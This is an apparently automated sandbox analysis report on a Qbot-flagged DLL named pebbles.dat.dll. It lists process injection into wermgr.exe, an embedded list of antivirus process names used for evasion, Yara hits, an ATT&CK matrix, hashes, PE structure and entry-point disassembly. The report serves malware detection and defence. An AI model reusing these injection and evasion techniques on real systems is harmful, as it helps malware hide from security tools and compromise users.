Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099DDE7 GetSystemInfo,

3_2_0099DDE7

Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 3_2_0099C123 FindFirstFileW,FindNextFileW,		3_2_0099C123
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 4_2_0445C123 FindFirstFileW,FindNextFileW,		4_2_0445C123

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099EF38 LoadLibraryA,GetProcAddress,

3_2_0099EF38

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\System32\audiodg.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wermgr.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wermgr.exe protection: execute and read and write	Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 9A0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1353C50	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: E70000	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory written: C:\Windows\SysWOW64\wermgr.exe base: 1353C50	Jump to behavior

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: 9A0000 protect: page read and write			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Memory allocated: C:\Windows\SysWOW64\wermgr.exe base: E70000 protect: page read and write			Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\wermgr.exe C:\Windows\SysWOW64\wermgr.exe	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\wermgr.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099A1F8 GetSystemTimeAsFileTime,

3_2_0099A1F8

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 3_2_0099DFC2 GetCurrentProcessId,GetLastError,GetSystemMetrics,GetVersionExA,GetWindowsDirectoryW,

3_2_0099DFC2

Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vsserv.exe
Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avp.exe
Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: avgcsrvx.exe
Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: mcshield.exe
Source: regsvr32.exe, 00000003.00000003.262266220.000000000452F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000004.00000003.262272208.000000000450F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000003.262465589.000000000312F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Qbot

Source: Yara match	File source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Qbot

Source: Yara match	File source: 9.2.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.990000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4450000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2ee0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4430000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.0.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.590000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.12a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.rundll32.exe.4450000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.3.regsvr32.exe.590000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.wermgr.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wermgr.exe.e40000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.970000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.wermgr.exe.970000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2d60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.3.rundll32.exe.4430000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.rundll32.exe.2ee0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.regsvr32.exe.990000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.wermgr.exe.e40000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.3.rundll32.exe.2d60000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.0.wermgr.exe.12a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	3 Native API	1 DLL Side-Loading	311 Process Injection	1 Masquerading	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Screen Capture	Exfiltration Over Other Network Medium	1 Encrypted Channel	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	1 Credential API Hooking	Exfiltration Over Bluetooth	Junk Data	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	311 Process Injection	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	1 Archive Collected Data	Automated Exfiltration	Steganography	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	2 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	Protocol Impersonation	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 Regsvr32	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	1 Rundll32	Cached Domain Credentials	15 System Information Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Software Packing	DCSync	Network Sniffing	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
pebbles.dat.dll	17%	ReversingLabs
pebbles.dat.dll	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

Source	Detection	Scanner	Label	Download
9.2.wermgr.exe.970000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
8.0.wermgr.exe.12a0000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
3.2.regsvr32.exe.990000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
4.2.rundll32.exe.4450000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
9.0.wermgr.exe.970000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
7.2.wermgr.exe.e40000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
5.2.rundll32.exe.2ee0000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File
7.0.wermgr.exe.e40000.0.unpack	100%	Avira	HEUR/AGEN.1234562	Download File

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

World Map of Contacted IPs

⊘No contacted IP infos

General Information

Joe Sandbox Version:	36.0.0 Rainbow Opal
Analysis ID:	715156
Start date and time:	2022-10-03 17:38:53 +02:00
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 9m 18s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	pebbles.dat.dll
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 104, IE 11, Adobe Reader DC 19, Java 8 Update 211
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	38
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal96.troj.evad.winDLL@21/1@0/0
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 25.3% (good quality ratio 24%) Quality average: 77.1% Quality standard deviation: 26.2%
HCA Information:	Successful, ratio: 100% Number of executed functions: 40 Number of non-executed functions: 43
Cookbook Comments:	Found application associated with file extension: .dll Sleeps bigger than 100000000ms are automatically reduced to 1000ms

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, BackgroundTransferHost.exe, RuntimeBroker.exe, WMIADAP.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, login.live.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.

Simulations

Behavior and APIs

⊘No simulations

Joe Sandbox View / Context

IPs

⊘No context

Domains

⊘No context

ASNs

⊘No context

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

C:\Users\user\Desktop\pebbles.dat.dll

Download File

Process:	C:\Windows\SysWOW64\wermgr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.667100449217363
Encrypted:	false
SSDEEP:	96:UORfeVXzt2Dk1dyqIF9JhsLwAOhf2ZW2wIPD:UORAjMkXIKPD
MD5:	21928784DA52AB71A60AF59EFA95CDAD
SHA1:	4FF8ECD9B0370614EA0C3D8583A51DF9D2481844
SHA-256:	285861283C9DC3F2D892B3CC186AD64CF17217D394B227A70B6C657C39D6568B
SHA-512:	CD79DFD111B8E1E8A3EB2F7E57DFB71D76AF677D6696564C15413391D7734F0C4A10D3987A3D4D9739C082C0710BC5B8566A4D4AB295EA501B5D909D0294C3F8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.....~[..~[..~[..}Z..~[..{Z..~[..zZ..~[I.zZ..~[I.}Z..~[I.{ZX.~[...Z..~[...[o.~[..wZ..~[..~Z..~[..[..~[...[..~[..\|Z..~[Rich..~[........................PE..L.....:c...........!.........~..............0............................................@..........................p.......A..P................................6......p...........................0...@............@...............................data....a.......b.................. ....reloc6s.............f.............. ..`CODE.........0...........................idata..0....@......................@..@.hata....5...P...6..................@..@DATA....T............J..............@..@.rsrc................L..............@..@.reloc...6.......8...N..............@..B........................................................................................................................................................

Static File Info

General

File type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Entropy (8bit):	6.9607693404023925
TrID:	Win32 Dynamic Link Library (generic) (1002004/3) 99.60% Generic Win/DOS Executable (2004/3) 0.20% DOS Executable Generic (2002/1) 0.20% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	pebbles.dat.dll
File size:	493056
MD5:	d89521adaf6418e6ebe43b1a1a9d2af9
SHA1:	38cac8495ef43e51cdac1cb5e85d10137b365bee
SHA256:	1965dc57456d4fc01b6ce0f242d80776fe08a16354e6177255cba618348355ac
SHA512:	703db1e11372070dbbabc8a96c8600f079273e4dfad4e5437a5fd4b046187cf9f24b47ad68fadaf3bcf7fb1dcad8ecf98edd299281938eb144c4c6c29d68461f
SSDEEP:	12288:Y2X+B4HKFVxT5jXAcOf35HI9H5RGqdIhr54f:L5EVl5DC4HDbd
TLSH:	DBA48D0AB612C430D66910B12876BBE047ACBD325E751EDF73805F778A641F77A29F22
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......._.....~[..~[..~[..}Z..~[..{Z..~[..zZ..~[I.zZ..~[I.}Z..~[I.{ZX.~[...Z..~[...[o.~[..wZ..~[..~Z..~[...[..~[...[..~[..\|Z..~[Rich..~

File Icon


Icon Hash:	74f0e4ecccdce0e4

Static PE Info

General

Entrypoint:	0x100382d9
Entrypoint Section:	.data
Digitally signed:	false
Imagebase:	0x10000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x633AE6FF [Mon Oct 3 13:43:27 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8877a7b766af3aace7fcad8462a174cc

Entrypoint Preview

Instruction
push ebp
mov ebp, esp
cmp dword ptr [ebp+0Ch], 01h
jne 00007FD97CC082C7h
call 00007FD97CC087E4h
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+08h]
call 00007FD97CC08173h
add esp, 0Ch
pop ebp
retn 000Ch
cmp ecx, dword ptr [10001D84h]
jne 00007FD97CC082C3h
ret
jmp 00007FD97CC088CDh
mov ecx, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], ecx
pop ecx
pop edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
push ecx
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10001D84h]
xor eax, ebp
push eax
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
push eax
push dword ptr fs:[00000000h]
lea eax, dword ptr [esp+0Ch]
sub esp, dword ptr [esp+0Ch]
push ebx
push esi
push edi
mov dword ptr [eax], ebp
mov ebp, eax
mov eax, dword ptr [10001D84h]
xor eax, ebp
push eax
mov dword ptr [ebp-10h], esp
push dword ptr [ebp-04h]
mov dword ptr [ebp-04h], FFFFFFFFh
lea eax, dword ptr [ebp-0Ch]
mov dword ptr fs:[00000000h], eax
ret
int3
int3
int3
int3
int3
int3
int3
int3
int3
push ecx
lea ecx, dword ptr [esp+08h]
sub ecx, eax
and ecx, 0Fh
add eax, ecx
sbb ecx, ecx
or eax, ecx

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x57010	0x10f	.data
IMAGE_DIRECTORY_ENTRY_IMPORT	0x74188	0x50	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7a000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x7b000	0x36b4	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x311c0	0x70	.data
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x31230	0x40	.data
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x74000	0x184	.idata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.data	0x1000	0x5611f	0x56200	False	0.6558956594702468	data	7.0153365923230595	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc6s	0x58000	0x1a0f9	0x1a200	False	0.3239383971291866	COM executable for DOS	6.066972398111804	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
CODE	0x73000	0x200	0x0	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x74000	0xa30	0xc00	False	0.404296875	data	4.897788340416598	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.hata	0x75000	0x35e7	0x3600	False	0.7127459490740741	data	5.561450278641814	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
DATA	0x79000	0x54	0x200	False	0.162109375	data	1.2433795844140498	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7a000	0x1e0	0x200	False	0.53125	data	4.724728911998389	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x7b000	0x36b4	0x3800	False	0.7310267857142857	data	6.633507194727193	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_MANIFEST	0x7a060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	Sleep, DebugBreak, GetCurrentProcess, lstrlenA, GetCurrentThreadId, lstrcmpA, VirtualAlloc, GetVersion, GetCommandLineA, GetFileAttributesA, GetCurrentThread, GetCurrentProcessId, GetModuleHandleW, lstrcmpiA, CreateFileW, CloseHandle, GetModuleHandleA, GetConsoleMode, GetConsoleOutputCP, WriteFile, FlushFileBuffers, HeapSize, SetStdHandle, WideCharToMultiByte, EnterCriticalSection, LeaveCriticalSection, InitializeCriticalSectionEx, DeleteCriticalSection, EncodePointer, DecodePointer, MultiByteToWideChar, LCMapStringEx, GetStringTypeW, GetCPInfo, IsProcessorFeaturePresent, IsDebuggerPresent, UnhandledExceptionFilter, SetUnhandledExceptionFilter, GetStartupInfoW, QueryPerformanceCounter, GetSystemTimeAsFileTime, InitializeSListHead, TerminateProcess, RtlUnwind, RaiseException, InterlockedFlushSList, GetLastError, SetLastError, InitializeCriticalSectionAndSpinCount, TlsAlloc, TlsGetValue, TlsSetValue, TlsFree, FreeLibrary, GetProcAddress, LoadLibraryExW, ExitProcess, GetModuleHandleExW, GetModuleFileNameW, HeapAlloc, HeapFree, GetStdHandle, GetFileType, LCMapStringW, GetLocaleInfoW, IsValidLocale, GetUserDefaultLCID, EnumSystemLocalesW, MoveFileExW, HeapReAlloc, FindClose, FindFirstFileExW, FindNextFileW, IsValidCodePage, GetACP, GetOEMCP, GetCommandLineW, GetEnvironmentStringsW, FreeEnvironmentStringsW, GetProcessHeap, SetFilePointerEx, WriteConsoleW
ADVAPI32.dll	CryptCreateHash, CryptHashData, CryptDestroyHash, CryptGetHashParam, CryptReleaseContext, CryptAcquireContextA
SHLWAPI.dll	PathFindExtensionA, PathFindOnPathA, PathFileExistsA, PathFindSuffixArrayA, StrToIntA

Exports

Name	Ordinal	Address
DllRegisterServer	1	0x1006eb00
DllUnregisterServer	2	0x1006f6f0
bewailable	3	0x10058e00
courtlet	4	0x10063590
noncensored	5	0x10067e60
rhizocarpean	6	0x100605f0
stine	7	0x10069040
strigiles	8	0x1005de90
targetlike	9	0x1006b820
trimethoxy	10	0x10061fd0

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

⊘No network behavior found

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exePID: 5328, Parent PID: 3452

General

Target ID:	0
Start time:	17:39:50
Start date:	03/10/2022
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe "C:\Users\user\Desktop\pebbles.dat.dll"
Imagebase:	0xb90000
File size:	116736 bytes
MD5 hash:	1F562FBF37040EC6C43C8D5EF619EA39
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 5864, Parent PID: 5328

General

Target ID:	1
Start time:	17:39:50
Start date:	03/10/2022
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
